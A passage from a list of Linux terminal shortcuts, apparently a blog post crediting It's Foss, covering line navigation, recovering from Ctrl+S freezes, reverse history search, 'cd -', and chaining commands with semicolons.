You can also Home and End keys here of course but alternatively, you can use Ctrl+A to go to the beginning of the line and Ctrl+E to go to the end.

Accidental Terminal Freeze!

Accidently used Ctrl+S on the terminal? Don’t worry, you don’t have to close the terminal, not anymore. Just use Ctrl+Q and you can use the terminal again.

ctrl+Q

Reverse Search

This would have happened to you when doing long CTFS and you were working for some time and then you had to use the same command as you used earlier in the terminal, you can use reverse search to search for the command that you used earlier the in the history!

Just use the keys ctrl+r to initiate reverse search and type some part of the command. It will look up the history and will show you the commands that match the search term.

ctrl+r search_term

By default, it will show just one result. To see more results matching your search term, you will have to use ctrl+r again and again. To quit reverse search, just use Ctrl+C.

Switch back to the last working directory

Whenever you end up being in the wrong directory, and you then cd to the last directory that you were working on, so no need for that use this to switch back to the last working directory!

cd -

Running multiple commands in one single command

Don’t wait for the first command to complete to run the second after that, You can use the ‘;’ separator for this purpose. This way, you can run a number of commands in one line.

command_1; command_2; command_3
Reference: It’s Foss